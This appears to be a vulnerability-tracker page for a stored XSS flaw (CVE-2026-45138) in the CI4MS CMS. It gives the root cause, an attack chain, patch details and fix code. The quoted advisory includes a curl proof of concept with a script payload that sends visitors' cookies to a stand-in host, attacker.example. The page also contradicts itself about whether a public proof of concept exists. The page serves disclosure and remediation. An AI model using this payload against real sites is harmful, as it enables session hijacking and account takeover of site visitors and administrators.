Skip to main content

CI4MS CVE-2026-45138

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-18 https://github.com/ci4-cms-erp/ci4ms GHSA-2m69-jmvh-6chr
5.4
CVSS 3.1 · Vendor: https://github.com/ci4-cms-erp/ci4ms
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to CI4MS backend as content editor
  2. Delivery
    Obtain valid CSRF token from login session
  3. Exploit
    Submit POST with XSS payload in blog content field
  4. Install
    Broken html_purify validator returns true without sanitizing
  5. C2
    Raw payload written to blog_langs.content in database
  6. Execute
    Victim (public user or superadmin) loads public post URL
  7. Impact
    Injected JavaScript executes and exfiltrates session cookies

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an account holding the blogs.create role (for new posts) or blogs.update role (for editing existing posts) within the CI4MS backend; these are delegated content-editor roles that do not grant superadmin capabilities such as plugin installation, SQL console access, or the file editor. The attacker must also supply a valid CSRF token, obtained through a successful backend login. For the stored XSS payload to execute against a victim, that victim must load the public blog post URL (/blog/<slug>), which is an unauthenticated public route requiring no authentication from the victim's side. Superadmin session hijack specifically requires the superadmin to open or preview the infected post, a routine workflow in content review. The Pages module is exploitable under identical conditions via pages.create or pages.update roles. No non-default server configuration, special deployment mode, or additional software component beyond a standard CI4MS installation with the Blog or Pages modules enabled is required.

Impact

CVSS 5.4 with vector AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N reflects the attack surface accurately - network-reachable, low complexity, low privilege (content-editor role), requiring victim interaction (page load), with Changed Scope indicating cross-privilege impact. The Changed Scope component is the critical signal the raw score understates: the practical consequence of superadmin session hijack via a content-editor-initiated payload means functional impact substantially exceeds the per-component Low/Low confidentiality-integrity ratings. No EPSS score was provided in the available data, so exploitation probability cannot be quantified from that source. No CISA KEV listing is confirmed. A detailed public PoC is present in the advisory, including a curl-based exploit and a standalone PHP verification script that confirms getValidated() returns the unmodified <script> payload - this is a strong signal of low exploitation difficulty. Real-world priority is moderate-to-high for any multi-role CI4MS deployment where content editors are not fully trusted, and high for instances where superadmins regularly preview user-submitted content. No data conflicts exist between the CVSS vector and the description.

Exploit ScenarioDerived

An attacker with a backend content-editor account authenticates to CI4MS, obtains a valid CSRF token through the standard login flow, and submits a blog post with <script>fetch('https://attacker.example/?c='+encodeURIComponent(document.cookie))</script> as the content body via a crafted POST request. The html_purify validator returns true without sanitizing, and the raw payload is stored verbatim in blog_langs.content. Every subsequent visitor who loads the public blog post URL - including the superadmin when they open the post for review - executes the injected script in their browser, exfiltrating session cookies and enabling full account takeover. A public PoC demonstrating this exact scenario is included in the GHSA advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 18, 2026

Stored XSS in CI4MS (composer package ci4-cms-erp/ci4ms, versions up to 0.31.8.0) allows authenticated content editors holding the blogs.create or blogs.update role to persist arbitrary JavaScript that executes in every visitor's browser, including superadmins who review or preview posts. The root cause is a PHP by-reference mutation in the html_purify custom validation rule that CodeIgniter 4's validator silently discards - raw POST data bypasses sanitization entirely and is written unescaped to the database and rendered directly in the public template. A detailed public proof-of-concept exploit exists; vendor-released patch 0.31.9.0 was published on 2026-05-08 and is confirmed to address the issue.

RemediationAI

Upgrade CI4MS to version 0.31.9.0, released 2026-05-08, which enforces CustomRules::getClean() output persistence on both create and update flows in Blog.php and Pages.php. The patched release is available at https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.9.0. If immediate upgrade is not feasible, apply a direct sink-level fix: replace $lanData['content'] with CustomRules::sanitizeHtml((string)($lanData['content'] ?? '')) in both Blog::new (~line 123) and Blog::edit (~line 201), and apply the identical change to modules/Pages/Controllers/Pages.php. Also fix the cache key bug in CustomRules::html_purify() so the cache is keyed on md5($original) before reassignment, enabling getClean() to function as a defense-in-depth backstop. As a temporary compensating control, restricting blogs.create and blogs.update roles exclusively to fully trusted users reduces the attacker population but does not eliminate the vulnerability. Adding output escaping in app/Views/templates/default/blog/post.php:51 provides additional defense-in-depth even after patching.

Affected Packages

composer ci4-cms-erp/ci4ms fix: 0.31.9.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected product is CI4MS (Composer package ci4-cms-erp/ci4ms, CPE pkg:composer/ci4-cms-erp_ci4ms), a CMS/ERP built on CodeIgniter 4 (CI4). CWE-79 (Stored Cross-Site Scripting) arises from a PHP language-level misuse: Modules\Backend\Validation\CustomRules::html_purify() at CustomRules.php:54-73 declares its $str parameter as pass-by-reference (?string &$str), intending to overwrite the caller's variable with HTMLPurifier-cleaned output. CI4's Validation class, however, iterates over a local copy of $this->data when invoking custom rules (Validation.php:204-211, :343-345) - the by-reference mutation modifies only that transient stack variable; $this->data, $_POST, and getValidated() all retain the original raw payload. A secondary defect compounds this: the getClean() cache fallback is also non-functional because the cache is keyed on md5(clean) at write time but looked up by md5(original) at read time, meaning the backstop never retrieves a sanitized value. The unsanitized value flows directly from $this->request->getPost('lang') into blog_langs.content via Blog.php:94-125 and is echoed without escaping at app/Views/templates/default/blog/post.php:51. The identical broken pattern exists in the Pages module (Pages::create, Pages::update).

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/ci4-cms-erp/ci4ms) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Primary rating from Vendor (https://github.com/ci4-cms-erp/ci4ms) · only source for this CVE.

CVSS VectorVendor: https://github.com/ci4-cms-erp/ci4ms

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

Summary

The custom html_purify validation rule used to sanitize blog post bodies relies on by-reference mutation (?string &$str), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently discarded. The Blog controller writes $lanData['content'] directly into blog_langs.content, and the public template echoes it without escaping - yielding stored XSS executable in any visitor's browser, including the superadmin when previewing or editing posts.

Details

Root cause: by-reference mutation never propagates

Modules\Backend\Validation\CustomRules::html_purify declares its first argument by reference:

php
// modules/Backend/Validation/CustomRules.php:54-73
public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    if (empty(trim((string)$str))) return true;
    if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
    $clean = self::sanitizeHtml($str);
    $str   = $clean;                                  // <-- mutates only the local $value in CI4's validator
    self::$cleanCache[md5((string)$str)] = $clean;    // <-- key is md5(CLEAN), getClean() looks up md5(ORIGINAL)
    return true;
}

CI4's validator invokes the rule via a local variable $value it created from a copy of $this->data:

php
// vendor/codeigniter4/framework/system/Validation/Validation.php:204-211
foreach ($values as $dotField => $value) {                       // local $value
    $this->processRules($dotField, $setup['label'] ?? $field, $value, $rules, $data, $field);
}

// Validation.php:343-345
$passed = ($param === null)
    ? $set->{$rule}($value, $error)                              // <-- $value is the local var
    : $set->{$rule}($value, $param, $data, $error, $field);

The reference mutation modifies that local $value only; $this->data, $_POST, and getValidated() keep the raw payload. The optional getClean($original) cache lookup in CustomRules.php:85-93 also fails because the cache was keyed on md5(clean) rather than md5(original).

Sink: raw POST is persisted and rendered unescaped

The Blog controller takes $_POST['lang'] verbatim, runs it through validation (which always returns true for html_purify), and writes it to the database with no further filtering:

php
// modules/Blog/Controllers/Blog.php:94-125  (Blog::new)
$langsPost = $this->request->getPost('lang');                            // raw, unsanitized
...
if ($this->validate($valData) == false) return redirect()->...;           // html_purify returns true
...
foreach ($langsPost as $lanCode => $lanData) {
    $this->commonModel->create('blog_langs', [
        'blog_id' => $insertID,
        'lang'    => $lanCode,
        'title'   => trim(strip_tags($lanData['title'])),
        'seflink' => trim(strip_tags($lanData['seflink'])),
        'content' => $lanData['content'],                                  // <-- raw HTML stored
        ...
    ]);
}

The same pattern is used in Blog::edit at modules/Blog/Controllers/Blog.php:178 and :201.

The public blog post template echoes the field with no escaping:

php
// app/Views/templates/default/blog/post.php:51
<section class="mb-5" id="ci4ms-content">
    <?php echo $infos->content ?>
</section>

The view is reached through App\Controllers\Home::post* (Home.php:238), which is an unauthenticated public route.

Trust boundary

Backend routes (modules/Blog/Config/Routes.php) are protected by backendGuard + Shield role checks, requiring blogs.create / blogs.update. These are delegated content-editor roles, not equivalent to superadmin: an editor cannot install plugins, run SQL, or access the file editor. Stored XSS therefore lets a low-privilege editor escalate by hijacking a superadmin session when the admin previews or edits the post (frontend /blog/<slug> is the executing surface; admin browsers visit it routinely). Independent of admin escalation, every public visitor that loads the post executes the attacker's JavaScript.

Same defect in the Pages module

A previous Stored XSS in the Pages module was "fixed" by introducing the very html_purify rule that this advisory shows is non-functional. Pages controllers (Pages::create, Pages::update) follow the same pattern and remain exploitable.

PoC

Prerequisite: any account holding the backend blogs.create role (or blogs.update for the edit variant). Cookies obtained via the standard backend login flow.

  1. Submit a blog post with an XSS payload as the content body:
bash
curl -k -b cookies.txt -X POST https://target/backend/blogs/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-xss' \
  -d "lang[en][content]=<script>fetch('https://attacker.example/?c='+encodeURIComponent(document.cookie))</script>" \
  -d 'isActive=1' \
  -d 'categories[]=1' \
  -d 'author=1' \
  -d 'created_at=01.01.2026 10:00:00' \
  -d 'csrf_token_name=<token>'
  1. The validator returns success (html_purify reports true), and the row is written to blog_langs with content = <script>...</script> verbatim.
  2. Visit the public post URL https://target/blog/poc-xss. The injected <script> runs in every visitor's browser and exfiltrates their cookies. When a superadmin opens the post (e.g., from the backend list to review it), the script executes with the admin's session.

Independent root-cause verification (run against the local app):

bash
$ php /tmp/test_blog_flow.php
Validation passed: true
Stored content for en: <script>alert("STORED-XSS-PROOF-"+document.domain)</script>

That is, when the same payload is fed to the real CI4 validator with the project's rule set, getValidated()['lang']['en']['content'] returns the unmodified <script>...</script>, confirming the by-reference sanitization is dropped.

Impact

  • Stored XSS reachable by any account with blogs.create or blogs.update (delegated content-editor permission), executed in the browser of:
  • every anonymous public visitor that loads the affected blog post,
  • the superadmin and other backend reviewers when they open or preview the post.
  • Direct consequences include theft of session cookies / CSRF tokens, account takeover via authenticated requests on behalf of the victim, content tampering, drive-by malware, and phishing of site visitors.
  • Because the same broken html_purify rule was the previous fix for the Pages Stored XSS, the Pages module is also still exploitable through Pages::create / Pages::update via the same primitive - i.e., this is a project-wide regression of an already-published advisory.
  • The getClean() cache fallback intended as a backstop is also non-functional (key mismatch between md5(clean) writer and md5(original) reader).

Recommended Fix

  1. Stop relying on by-reference mutation inside the validation rule. Either (a) sanitize *at the sink* in every controller that accepts WYSIWYG HTML, or (b) sanitize after validate() and before persisting.

Minimal, immediate fix in the Blog controller - apply to both new and edit:

php
   // modules/Blog/Controllers/Blog.php  (Blog::new, ~line 123 and Blog::edit, ~line 201)
   use Modules\Backend\Validation\CustomRules;
   ...
   $this->commonModel->create('blog_langs', [
       'blog_id' => $insertID,
       'lang'    => $lanCode,
       'title'   => trim(strip_tags($lanData['title'])),
       'seflink' => trim(strip_tags($lanData['seflink'])),
       'content' => CustomRules::sanitizeHtml((string)($lanData['content'] ?? '')),
       'seo'     => !empty($seoData) ? $seoData : '',
   ]);

Apply the identical change to modules/Pages/Controllers/Pages.php (the previous Pages Stored XSS fix relied on html_purify and is therefore still vulnerable).

  1. Fix the cache key bug so getClean() actually works as a defense-in-depth backstop:
php
   // modules/Backend/Validation/CustomRules.php
   public function html_purify(?string &$str = null, ?string &$error = null): bool
   {
       if (empty(trim((string)$str))) return true;
       if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
       $original = (string)$str;
       $clean    = self::sanitizeHtml($original);
       self::$cleanCache[md5($original)] = $clean;   // key on ORIGINAL, before reassignment
       $str = $clean;                                // best-effort; CI4 will drop this
       return true;
   }
  1. Document explicitly in CustomRules that html_purify is *not* a sanitizer - it returns true unconditionally on any HTMLPurifier-installed environment - and that callers MUST use CustomRules::sanitizeHtml(...) (or CustomRules::getClean($original) after the cache fix) on $_POST data before storage.
  2. Defense in depth: escape $infos->content at output where feasible (e.g., app/Views/templates/default/blog/post.php:51), or pipe the stored value through CustomRules::sanitizeHtml() on read for templates that are expected to render rich HTML - guaranteeing safety even if a future caller forgets the sanitizer.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Affected Products (CPE)CVE.org

pkg:composer/ci4-cms-erp_ci4ms

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy